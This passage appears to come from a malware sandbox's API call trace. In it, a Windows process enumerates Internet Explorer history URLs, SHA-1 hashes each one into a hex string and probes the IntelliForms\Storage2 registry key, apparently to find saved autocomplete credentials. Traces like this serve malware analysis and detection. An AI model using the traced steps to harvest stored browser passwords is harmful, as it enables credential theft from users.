returned="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE" [0097.773] LocalFree (hMem=0x28e7910) returned 0x0 [0097.773] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="10") returned 2 [0097.774] lstrlenW (lpString="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE") returned 38 [0097.774] lstrlenW (lpString="10") returned 2 [0097.774] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.774] lstrcpyW (in: lpString1=0x28e7910, lpString2="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE") returned="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE" [0097.774] lstrcatW (in: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE", lpString2="10" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE10") returned="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE10" [0097.774] LocalFree (hMem=0x28e7670) returned 0x0 [0097.774] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="42") returned 2 [0097.774] lstrlenW (lpString="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE10") returned 40 [0097.774] lstrlenW (lpString="42") returned 2 [0097.774] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.774] lstrcpyW (in: lpString1=0x28e7670, lpString2="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE10" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE10") returned="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE10" [0097.774] lstrcatW (in: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE10", lpString2="42" | out: lpString1="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE1042") returned="D9E6D6E94B9394E5F9E30ADEE98B34DA2E2BBE1042" [0097.774] LocalFree (hMem=0x28e7910) returned 0x0 [0097.774] CryptDestroyHash (hHash=0x7203d10) returned 1 [0097.774] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.774] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.774] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.774] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.774] LocalFree (hMem=0x28e7670) returned 0x0 [0097.774] CoTaskMemFree (pv=0x71e6b20) [0097.774] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.774] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/D1oAyK3G1TGu.gif", lpSrch="?") returned 0x0 [0097.774] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.775] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.775] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/D1oAyK3G1TGu.gif") returned 50 [0097.775] CryptHashData (hHash=0x4469a10, pbData=0x7203840, dwDataLen=0x66, dwFlags=0x0) returned 1 [0097.775] CryptGetHashParam (in: hHash=0x4469a10, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.775] CryptDestroyHash (hHash=0x4469a10) returned 1 [0097.775] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.775] CoTaskMemFree (pv=0x7203840) [0097.775] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.775] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/rbIgDrZXw.gif", lpSrch="?") returned 0x0 [0097.775] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.776] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.776] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/rbIgDrZXw.gif") returned 55 [0097.776] CryptHashData (hHash=0x7204020, pbData=0x71e7a20, dwDataLen=0x70, dwFlags=0x0) returned 1 [0097.776] CryptGetHashParam (in: hHash=0x7204020, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.776] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="12") returned 2 [0097.776] lstrlenW (lpString="") returned 0 [0097.776] lstrlenW (lpString="12") returned 2 [0097.776] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7186de0 [0097.776] lstrcpyW (in: lpString1=0x7186de0, lpString2="" | out: lpString1="") returned="" [0097.776] lstrcatW (in: lpString1="", lpString2="12" | out: lpString1="12") returned="12" [0097.776] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D0") returned 2 [0097.776] lstrlenW (lpString="12") returned 2 [0097.776] lstrlenW (lpString="D0") returned 2 [0097.776] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c7d60 [0097.776] lstrcpyW (in: lpString1=0x28c7d60, lpString2="12" | out: lpString1="12") returned="12" [0097.776] lstrcatW (in: lpString1="12", lpString2="D0" | out: lpString1="12D0") returned="12D0" [0097.776] LocalFree (hMem=0x7186de0) returned 0x0 [0097.776] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0C") returned 2 [0097.776] lstrlenW (lpString="12D0") returned 4 [0097.776] lstrlenW (lpString="0C") returned 2 [0097.776] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c6f00 [0097.776] lstrcpyW (in: lpString1=0x28c6f00, lpString2="12D0" | out: lpString1="12D0") returned="12D0" [0097.776] lstrcatW (in: lpString1="12D0", lpString2="0C" | out: lpString1="12D00C") returned="12D00C" [0097.776] LocalFree (hMem=0x28c7d60) returned 0x0 [0097.776] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="67") returned 2 [0097.776] lstrlenW (lpString="12D00C") returned 6 [0097.776] lstrlenW (lpString="67") returned 2 [0097.776] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c7d60 [0097.777] lstrcpyW (in: lpString1=0x28c7d60, lpString2="12D00C" | out: lpString1="12D00C") returned="12D00C" [0097.777] lstrcatW (in: lpString1="12D00C", lpString2="67" | out: lpString1="12D00C67") returned="12D00C67" [0097.777] LocalFree (hMem=0x28c6f00) returned 0x0 [0097.777] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FB") returned 2 [0097.777] lstrlenW (lpString="12D00C67") returned 8 [0097.777] lstrlenW (lpString="FB") returned 2 [0097.777] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c6f00 [0097.777] lstrcpyW (in: lpString1=0x28c6f00, lpString2="12D00C67" | out: lpString1="12D00C67") returned="12D00C67" [0097.777] lstrcatW (in: lpString1="12D00C67", lpString2="FB" | out: lpString1="12D00C67FB") returned="12D00C67FB" [0097.777] LocalFree (hMem=0x28c7d60) returned 0x0 [0097.777] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="54") returned 2 [0097.777] lstrlenW (lpString="12D00C67FB") returned 10 [0097.777] lstrlenW (lpString="54") returned 2 [0097.777] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71d0010 [0097.777] lstrcpyW (in: lpString1=0x71d0010, lpString2="12D00C67FB" | out: lpString1="12D00C67FB") returned="12D00C67FB" [0097.777] lstrcatW (in: lpString1="12D00C67FB", lpString2="54" | out: lpString1="12D00C67FB54") returned="12D00C67FB54" [0097.777] LocalFree (hMem=0x28c6f00) returned 0x0 [0097.777] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="36") returned 2 [0097.777] lstrlenW (lpString="12D00C67FB54") returned 12 [0097.777] lstrlenW (lpString="36") returned 2 [0097.777] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71ceee0 [0097.777] lstrcpyW (in: lpString1=0x71ceee0, lpString2="12D00C67FB54" | out: lpString1="12D00C67FB54") returned="12D00C67FB54" [0097.777] lstrcatW (in: lpString1="12D00C67FB54", lpString2="36" | out: lpString1="12D00C67FB5436") returned="12D00C67FB5436" [0097.777] LocalFree (hMem=0x71d0010) returned 0x0 [0097.777] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F5") returned 2 [0097.777] lstrlenW (lpString="12D00C67FB5436") returned 14 [0097.777] lstrlenW (lpString="F5") returned 2 [0097.777] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71d0010 [0097.777] lstrcpyW (in: lpString1=0x71d0010, lpString2="12D00C67FB5436" | out: lpString1="12D00C67FB5436") returned="12D00C67FB5436" [0097.777] lstrcatW (in: lpString1="12D00C67FB5436", lpString2="F5" | out: lpString1="12D00C67FB5436F5") returned="12D00C67FB5436F5" [0097.777] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.777] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="12") returned 2 [0097.777] lstrlenW (lpString="12D00C67FB5436F5") returned 16 [0097.777] lstrlenW (lpString="12") returned 2 [0097.777] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71ceee0 [0097.777] lstrcpyW (in: lpString1=0x71ceee0, lpString2="12D00C67FB5436F5" | out: lpString1="12D00C67FB5436F5") returned="12D00C67FB5436F5" [0097.777] lstrcatW (in: lpString1="12D00C67FB5436F5", lpString2="12" | out: lpString1="12D00C67FB5436F512") returned="12D00C67FB5436F512" [0097.777] LocalFree (hMem=0x71d0010) returned 0x0 [0097.778] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B3") returned 2 [0097.778] lstrlenW (lpString="12D00C67FB5436F512") returned 18 [0097.778] lstrlenW (lpString="B3") returned 2 [0097.778] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.778] lstrcpyW (in: lpString1=0x72912f0, lpString2="12D00C67FB5436F512" | out: lpString1="12D00C67FB5436F512") returned="12D00C67FB5436F512" [0097.778] lstrcatW (in: lpString1="12D00C67FB5436F512", lpString2="B3" | out: lpString1="12D00C67FB5436F512B3") returned="12D00C67FB5436F512B3" [0097.778] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.778] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D1") returned 2 [0097.778] lstrlenW (lpString="12D00C67FB5436F512B3") returned 20 [0097.778] lstrlenW (lpString="D1") returned 2 [0097.778] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.778] lstrcpyW (in: lpString1=0x7290b70, lpString2="12D00C67FB5436F512B3" | out: lpString1="12D00C67FB5436F512B3") returned="12D00C67FB5436F512B3" [0097.778] lstrcatW (in: lpString1="12D00C67FB5436F512B3", lpString2="D1" | out: lpString1="12D00C67FB5436F512B3D1") returned="12D00C67FB5436F512B3D1" [0097.778] LocalFree (hMem=0x72912f0) returned 0x0 [0097.778] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2E") returned 2 [0097.778] lstrlenW (lpString="12D00C67FB5436F512B3D1") returned 22 [0097.778] lstrlenW (lpString="2E") returned 2 [0097.778] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.778] lstrcpyW (in: lpString1=0x72912f0, lpString2="12D00C67FB5436F512B3D1" | out: lpString1="12D00C67FB5436F512B3D1") returned="12D00C67FB5436F512B3D1" [0097.778] lstrcatW (in: lpString1="12D00C67FB5436F512B3D1", lpString2="2E" | out: lpString1="12D00C67FB5436F512B3D12E") returned="12D00C67FB5436F512B3D12E" [0097.778] LocalFree (hMem=0x7290b70) returned 0x0 [0097.778] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3E") returned 2 [0097.778] lstrlenW (lpString="12D00C67FB5436F512B3D12E") returned 24 [0097.778] lstrlenW (lpString="3E") returned 2 [0097.778] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.778] lstrcpyW (in: lpString1=0x7290b70, lpString2="12D00C67FB5436F512B3D12E" | out: lpString1="12D00C67FB5436F512B3D12E") returned="12D00C67FB5436F512B3D12E" [0097.778] lstrcatW (in: lpString1="12D00C67FB5436F512B3D12E", lpString2="3E" | out: lpString1="12D00C67FB5436F512B3D12E3E") returned="12D00C67FB5436F512B3D12E3E" [0097.778] LocalFree (hMem=0x72912f0) returned 0x0 [0097.778] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1F") returned 2 [0097.778] lstrlenW (lpString="12D00C67FB5436F512B3D12E3E") returned 26 [0097.778] lstrlenW (lpString="1F") returned 2 [0097.778] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2814970 [0097.778] lstrcpyW (in: lpString1=0x2814970, lpString2="12D00C67FB5436F512B3D12E3E" | out: lpString1="12D00C67FB5436F512B3D12E3E") returned="12D00C67FB5436F512B3D12E3E" [0097.778] lstrcatW (in: lpString1="12D00C67FB5436F512B3D12E3E", lpString2="1F" | out: lpString1="12D00C67FB5436F512B3D12E3E1F") returned="12D00C67FB5436F512B3D12E3E1F" [0097.778] LocalFree (hMem=0x7290b70) returned 0x0 [0097.778] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="97") returned 2 [0097.778] lstrlenW (lpString="12D00C67FB5436F512B3D12E3E1F") returned 28 [0097.778] lstrlenW (lpString="97") returned 2 [0097.778] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815190 [0097.779] lstrcpyW (in: lpString1=0x2815190, lpString2="12D00C67FB5436F512B3D12E3E1F" | out: lpString1="12D00C67FB5436F512B3D12E3E1F") returned="12D00C67FB5436F512B3D12E3E1F" [0097.779] lstrcatW (in: lpString1="12D00C67FB5436F512B3D12E3E1F", lpString2="97" | out: lpString1="12D00C67FB5436F512B3D12E3E1F97") returned="12D00C67FB5436F512B3D12E3E1F97" [0097.779] LocalFree (hMem=0x2814970) returned 0x0 [0097.779] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="54") returned 2 [0097.779] lstrlenW (lpString="12D00C67FB5436F512B3D12E3E1F97") returned 30 [0097.779] lstrlenW (lpString="54") returned 2 [0097.779] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2814970 [0097.779] lstrcpyW (in: lpString1=0x2814970, lpString2="12D00C67FB5436F512B3D12E3E1F97" | out: lpString1="12D00C67FB5436F512B3D12E3E1F97") returned="12D00C67FB5436F512B3D12E3E1F97" [0097.779] lstrcatW (in: lpString1="12D00C67FB5436F512B3D12E3E1F97", lpString2="54" | out: lpString1="12D00C67FB5436F512B3D12E3E1F9754") returned="12D00C67FB5436F512B3D12E3E1F9754" [0097.779] LocalFree (hMem=0x2815190) returned 0x0 [0097.779] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3C") returned 2 [0097.779] lstrlenW (lpString="12D00C67FB5436F512B3D12E3E1F9754") returned 32 [0097.779] lstrlenW (lpString="3C") returned 2 [0097.779] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815190 [0097.779] lstrcpyW (in: lpString1=0x2815190, lpString2="12D00C67FB5436F512B3D12E3E1F9754" | out: lpString1="12D00C67FB5436F512B3D12E3E1F9754") returned="12D00C67FB5436F512B3D12E3E1F9754" [0097.779] lstrcatW (in: lpString1="12D00C67FB5436F512B3D12E3E1F9754", lpString2="3C" | out: lpString1="12D00C67FB5436F512B3D12E3E1F97543C") returned="12D00C67FB5436F512B3D12E3E1F97543C" [0097.779] LocalFree (hMem=0x2814970) returned 0x0 [0097.779] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="52") returned 2 [0097.779] lstrlenW (lpString="12D00C67FB5436F512B3D12E3E1F97543C") returned 34 [0097.779] lstrlenW (lpString="52") returned 2 [0097.779] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.779] lstrcpyW (in: lpString1=0x28e7670, lpString2="12D00C67FB5436F512B3D12E3E1F97543C" | out: lpString1="12D00C67FB5436F512B3D12E3E1F97543C") returned="12D00C67FB5436F512B3D12E3E1F97543C" [0097.779] lstrcatW (in: lpString1="12D00C67FB5436F512B3D12E3E1F97543C", lpString2="52" | out: lpString1="12D00C67FB5436F512B3D12E3E1F97543C52") returned="12D00C67FB5436F512B3D12E3E1F97543C52" [0097.779] LocalFree (hMem=0x2815190) returned 0x0 [0097.779] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="85") returned 2 [0097.779] lstrlenW (lpString="12D00C67FB5436F512B3D12E3E1F97543C52") returned 36 [0097.779] lstrlenW (lpString="85") returned 2 [0097.779] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.779] lstrcpyW (in: lpString1=0x28e7910, lpString2="12D00C67FB5436F512B3D12E3E1F97543C52" | out: lpString1="12D00C67FB5436F512B3D12E3E1F97543C52") returned="12D00C67FB5436F512B3D12E3E1F97543C52" [0097.779] lstrcatW (in: lpString1="12D00C67FB5436F512B3D12E3E1F97543C52", lpString2="85" | out: lpString1="12D00C67FB5436F512B3D12E3E1F97543C5285") returned="12D00C67FB5436F512B3D12E3E1F97543C5285" [0097.779] LocalFree (hMem=0x28e7670) returned 0x0 [0097.779] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6D") returned 2 [0097.779] lstrlenW (lpString="12D00C67FB5436F512B3D12E3E1F97543C5285") returned 38 [0097.779] lstrlenW (lpString="6D") returned 2 [0097.779] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.779] lstrcpyW (in: lpString1=0x28e7670, lpString2="12D00C67FB5436F512B3D12E3E1F97543C5285" | out: lpString1="12D00C67FB5436F512B3D12E3E1F97543C5285") returned="12D00C67FB5436F512B3D12E3E1F97543C5285" [0097.779] lstrcatW (in: lpString1="12D00C67FB5436F512B3D12E3E1F97543C5285", lpString2="6D" | out: lpString1="12D00C67FB5436F512B3D12E3E1F97543C52856D") returned="12D00C67FB5436F512B3D12E3E1F97543C52856D" [0097.779] LocalFree (hMem=0x28e7910) returned 0x0 [0097.780] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5B") returned 2 [0097.780] lstrlenW (lpString="12D00C67FB5436F512B3D12E3E1F97543C52856D") returned 40 [0097.780] lstrlenW (lpString="5B") returned 2 [0097.780] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.780] lstrcpyW (in: lpString1=0x28e7910, lpString2="12D00C67FB5436F512B3D12E3E1F97543C52856D" | out: lpString1="12D00C67FB5436F512B3D12E3E1F97543C52856D") returned="12D00C67FB5436F512B3D12E3E1F97543C52856D" [0097.780] lstrcatW (in: lpString1="12D00C67FB5436F512B3D12E3E1F97543C52856D", lpString2="5B" | out: lpString1="12D00C67FB5436F512B3D12E3E1F97543C52856D5B") returned="12D00C67FB5436F512B3D12E3E1F97543C52856D5B" [0097.780] LocalFree (hMem=0x28e7670) returned 0x0 [0097.780] CryptDestroyHash (hHash=0x7204020) returned 1 [0097.780] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.780] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.780] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.780] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.780] LocalFree (hMem=0x28e7910) returned 0x0 [0097.780] CoTaskMemFree (pv=0x71e7a20) [0097.780] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.780] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/sqp_XIDUP.png", lpSrch="?") returned 0x0 [0097.780] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.781] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.781] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/sqp_XIDUP.png") returned 66 [0097.781] CryptHashData (hHash=0x7204020, pbData=0x7186de0, dwDataLen=0x86, dwFlags=0x0) returned 1 [0097.781] CryptGetHashParam (in: hHash=0x7204020, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.781] CryptDestroyHash (hHash=0x7204020) returned 1 [0097.781] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.781] CoTaskMemFree (pv=0x7186de0) [0097.781] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.781] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/l2%20tmDiWaU5LpGo9N.csv", lpSrch="?") returned 0x0 [0097.781] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.782] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.782] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/l2%20tmDiWaU5LpGo9N.csv") returned 65 [0097.782] CryptHashData (hHash=0x7204020, pbData=0x7182d10, dwDataLen=0x84, dwFlags=0x0) returned 1 [0097.782] CryptGetHashParam (in: hHash=0x7204020, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.782] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="38") returned 2 [0097.782] lstrlenW (lpString="") returned 0 [0097.782] lstrlenW (lpString="38") returned 2 [0097.782] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7182260 [0097.782] lstrcpyW (in: lpString1=0x7182260, lpString2="" | out: lpString1="") returned="" [0097.782] lstrcatW (in: lpString1="", lpString2="38" | out: lpString1="38") returned="38" [0097.782] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FD") returned 2 [0097.782] lstrlenW (lpString="38") returned 2 [0097.782] lstrlenW (lpString="FD") returned 2 [0097.782] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c6f00 [0097.817] lstrcpyW (in: lpString1=0x28c6f00, lpString2="38" | out: lpString1="38") returned="38" [0097.817] lstrcatW (in: lpString1="38", lpString2="FD" | out: lpString1="38FD") returned="38FD" [0097.817] LocalFree (hMem=0x7182260) returned 0x0 [0097.817] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BE") returned 2 [0097.817] lstrlenW (lpString="38FD") returned 4 [0097.817] lstrlenW (lpString="BE") returned 2 [0097.817] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c7d60 [0097.817] lstrcpyW (in: lpString1=0x28c7d60, lpString2="38FD" | out: lpString1="38FD") returned="38FD" [0097.817] lstrcatW (in: lpString1="38FD", lpString2="BE" | out: lpString1="38FDBE") returned="38FDBE" [0097.817] LocalFree (hMem=0x28c6f00) returned 0x0 [0097.817] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="78") returned 2 [0097.817] lstrlenW (lpString="38FDBE") returned 6 [0097.817] lstrlenW (lpString="78") returned 2 [0097.817] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c6f00 [0097.817] lstrcpyW (in: lpString1=0x28c6f00, lpString2="38FDBE" | out: lpString1="38FDBE") returned="38FDBE" [0097.817] lstrcatW (in: lpString1="38FDBE", lpString2="78" | out: lpString1="38FDBE78") returned="38FDBE78" [0097.817] LocalFree (hMem=0x28c7d60) returned 0x0 [0097.817] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D2") returned 2 [0097.817] lstrlenW (lpString="38FDBE78") returned 8 [0097.817] lstrlenW (lpString="D2") returned 2 [0097.818] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c7d60 [0097.818] lstrcpyW (in: lpString1=0x28c7d60, lpString2="38FDBE78" | out: lpString1="38FDBE78") returned="38FDBE78" [0097.818] lstrcatW (in: lpString1="38FDBE78", lpString2="D2" | out: lpString1="38FDBE78D2") returned="38FDBE78D2" [0097.818] LocalFree (hMem=0x28c6f00) returned 0x0 [0097.818] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="87") returned 2 [0097.818] lstrlenW (lpString="38FDBE78D2") returned 10 [0097.818] lstrlenW (lpString="87") returned 2 [0097.818] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71ceee0 [0097.818] lstrcpyW (in: lpString1=0x71ceee0, lpString2="38FDBE78D2" | out: lpString1="38FDBE78D2") returned="38FDBE78D2" [0097.818] lstrcatW (in: lpString1="38FDBE78D2", lpString2="87" | out: lpString1="38FDBE78D287") returned="38FDBE78D287" [0097.818] LocalFree (hMem=0x28c7d60) returned 0x0 [0097.818] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DA") returned 2 [0097.818] lstrlenW (lpString="38FDBE78D287") returned 12 [0097.818] lstrlenW (lpString="DA") returned 2 [0097.818] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71d0010 [0097.818] lstrcpyW (in: 